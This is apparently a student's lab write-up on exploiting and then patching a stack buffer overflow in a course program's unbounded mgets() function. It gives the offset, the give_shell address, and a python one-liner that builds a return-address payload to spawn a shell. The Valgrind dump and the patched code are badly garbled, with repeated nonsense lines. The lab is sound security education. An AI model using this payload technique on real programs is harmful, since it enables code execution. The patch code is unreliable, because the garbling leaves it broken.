
## Stack Overflow Exploitation using Bash and Mitigation

 Download the StackOverflowHW.cpp source file from D2L and compile the program as x86 binary using a Makefile, disabling all the countermeasures to exploit the program successfully.





2. Using manual static analysis, find and explain the vulnerabilities in the program.

This function uses an exploitable system call that can be used to execute malicious code.

```
14  void give_shell()
15  {
16  | system("/bin/sh");
17  }
```

There is no boundary check in the mgets() function, as evidenced by the lack of a maximum size variable and the function simply proceeding to read in the entire buffer.

```
char *mgets(char *dst)
 char *ptr = dst;
 int ch;
 /* skip leading white spaces */
 while ((ch = getchar()) && (ch == ' ' or ch == '\t'))
 if (ch == '\n')
   *ptr = '\0';
   return dst;
 else
   *ptr = ch;
 while (true)
   ch = getchar();
   if (ch == '\n')
     break;
   *(++ptr) = ch;
 *(++ptr) = 0;
 return dst;
```

3. Use a tool such as Valgrind Memcheck to perform a dynamic analysis of the program to find any memory-related errors in the program.


I used the command valgrind --tool=memcheck --leak-check=full ./StackOverflowHW to insert text that surpassed the buffer boundary limit, resulting in a segmentation fault.


```
kali@x86_64-conda-linux-gnu: ~/stackoverflowbash
File Actions Edit View Help
                        by 0×676E69687465606E: ???
by 0×676E6968765068: ???
by 0×74776F6C66726575: ???
by 0×7265666675626567: ???
by 0×677065656B646E60: ???
Address 0×676e696874656d6f is not stack'd, malloc'd or (recently)
=23393=
=23393=
=23393=
=23393=
=23393=
=23393=
=23393= Process terminating with default action of signal 11 (SIGSEGV)
                       Process terminating with default action of signal 11 (SIGSEGV)
Bad permissions for mapped region at address 0*676E696874656D6F
at 0*676E696874656D6F: ???
by 0*67616E6E6F676D68: ???
by 0*74776F6C66726575: ???
by 0*7265666675626567: ???
by 0*677065656B646E60: ???
by 0*736B616572620968: ???
by 0*736B616572620968: ???
by 0*676609687465006E: ???
by 0*67616E6E6F676D68: ???
by 0*74776F6C66726575: ???
by 0*74776F6C66726575: ???
by 0*74776F6C66726575: ???
by 0*677065656B646E60: ???
=23393=
=23393=
=23393=
=23393=
=23393=
=23393=
=23393=
 =23393=
=23393=
=23393= HEAP SUMMARY:
=23393= in use at exit: 75,776 bytes in 3 blocks
=23393= total heap usage: 3 allocs, 0 frees, 75,776 bytes allocated
  =23393= LEAK SUMMARY:
                             definitely lost: 0 bytes in 0 blocks
indirectly lost: 0 bytes in 0 blocks
```

```
kali@x86_64-conda-linux-gnu: ~/stackoverflowbash
 File Actions Edit View Help
                                                                  by 0*7265666675626567: ???
by 0*6770656568646E60: ???
by 0*69746E75676E696E: ???
by 0*736B61657262696B: ???
by 0*676E69687465606E: ???
by 0*67616E6E6F676068: ???
by 0*74776F6C66726575: ???
by 0*7265666675626567: ???
by 0*6770656568646E60: ???
    =23393=
 =23393=
=23393=
=23393=
  =23393=
    =23393=
=23393=
  =23393=
    =23393=
=23393= HEAP SUMMARY:
                                                             in use at exit: 75,776 bytes in 3 blocks
total heap usage: 3 allocs, 0 frees, 75,776 bytes allocated
    =23393=
    =23393=
=23393=
    =23393= LEAK SUMMARY:
=23393= LEAK SUMMARY:
=23393= definitely lost: 0 bytes in 0 blocks
=23393= indirectly lost: 0 bytes in 0 blocks
=23393= possibly lost: 0 bytes in 0 blocks
=23393= still reachable: 75,776 bytes in 3 blocks
=23393= suppressed: 0 bytes in 0 blocks
=23393= Reachable blocks (those to which a pointer was found) are not shown
         =23393= To see them, rerun with: --leak-check=full --show-leak-Rinds=all
=23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23393= | 23
 (base) ┌──(kali® kali)-[~/stackoverflowbash]
```


- 4. Exploit the program.
  - a. Execute remote user and root shellcode to exploit the program manually.

I executed **gdb-peda -q StackOverflowHW** to overflow the executable and **patts** find the offset length (312).






I executed **nm StackOverflowHW** | **grep give\_shell** to get the address of the function (0x080491d6).




After converting the address (0x080491d6) to little endian (/xd6/x91/x04/x08), I created a payload.bin file with the **command python -c 'import sys; sys.stdout.buffer.write(b"A"\*312** + b"\xd6\x91\x04\x08")' > payload.bin'. I then ran the executable with payload.bin as input with the command **cat payload.bin -** | ./StackOverflowHW. Finally, I successfully redirected the program flow to the give shell function.



b. Write a bash script to achieve the same (step b).





- 5. Patch the vulnerability in the program.
  - a. Find and use the secure API or write code to fix the vulnerability. The logic of the program shouldn't change!

I implemented a more secure version of the mgets function that passes the size of the buffer alongside the buffer itself, limits the input size to the buffer size -1 (for the \n character at the end of the input), and null terminates the string.

```
File Edit View

char *mgets(char *dst, size_t size) {
    if (!dst || size == 0)
        return muliptr;
    char *ptr = dst;
    int ch;
    size_t count = 0;

    // Skip leading white spaces
    while ((ch = getchar()) && (isspace(ch)))
    ;

    if (ch == EOF || ch == '\n')
    {
        *ptr = ch;
        count++;
    }


    // Read the rest until \n or buffer is full
    while (count < size - 1)
    {
        ch = getchar();
        if (ch == EOF || ch == '\n')
            break;
        *(++ptr) = ch;
        count++;
    }

    *(++ptr) = '\0';
    return dst;
}


void bad()
{
    char buffer[BUFSIZE];
    printf("buffer is at %p\n", buffer);
    count<*-Give me some text: ";
    flush(stdout);
    mgets(buffer), size(buffer)); // similar to C's gets();
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    count<*-Characteristics of the some text: ";
    flush(stdout);
    // gets(buffer); // depricated
    flush(stdout);
    // gets(buffer); // depricated
    flush(stdout);
    // gets(buffer); // depricate
```


6. Recompile and do dynamic analysis (manual and Valgrind) as well as try to exploit the program again to ensure the vulnerability is patched.

I neglected to notice any readily apparent vulnerabilities in the code itself, so I manually tested the program with various inputs with the same results, but overflow wis not possible. I then ran the command valgrind --tool=memcheck --leak-check=full ./StackOverflowHW again. This time, though the text surpassed the buffer boundary limit, there was no segmentation fault and no errors or leaks possible.



As a result, the bash script I crafted no longer overflows the buffer or spawns a shell.





7. Enable all the countermeasures (recompile the target program enabling all the countermeasures) and try to launch your exploit code again. Observe the result and describe it.

When I re-enabled the countermeasures, the exploit code failed again like when I had previously patched the program. There was no stack overflow, shell spawn, or anything else indicative of a compromised program. I did notice that between the valgrind memory check input and the shellcode input to the program that the address of the buffer was back to being randomized.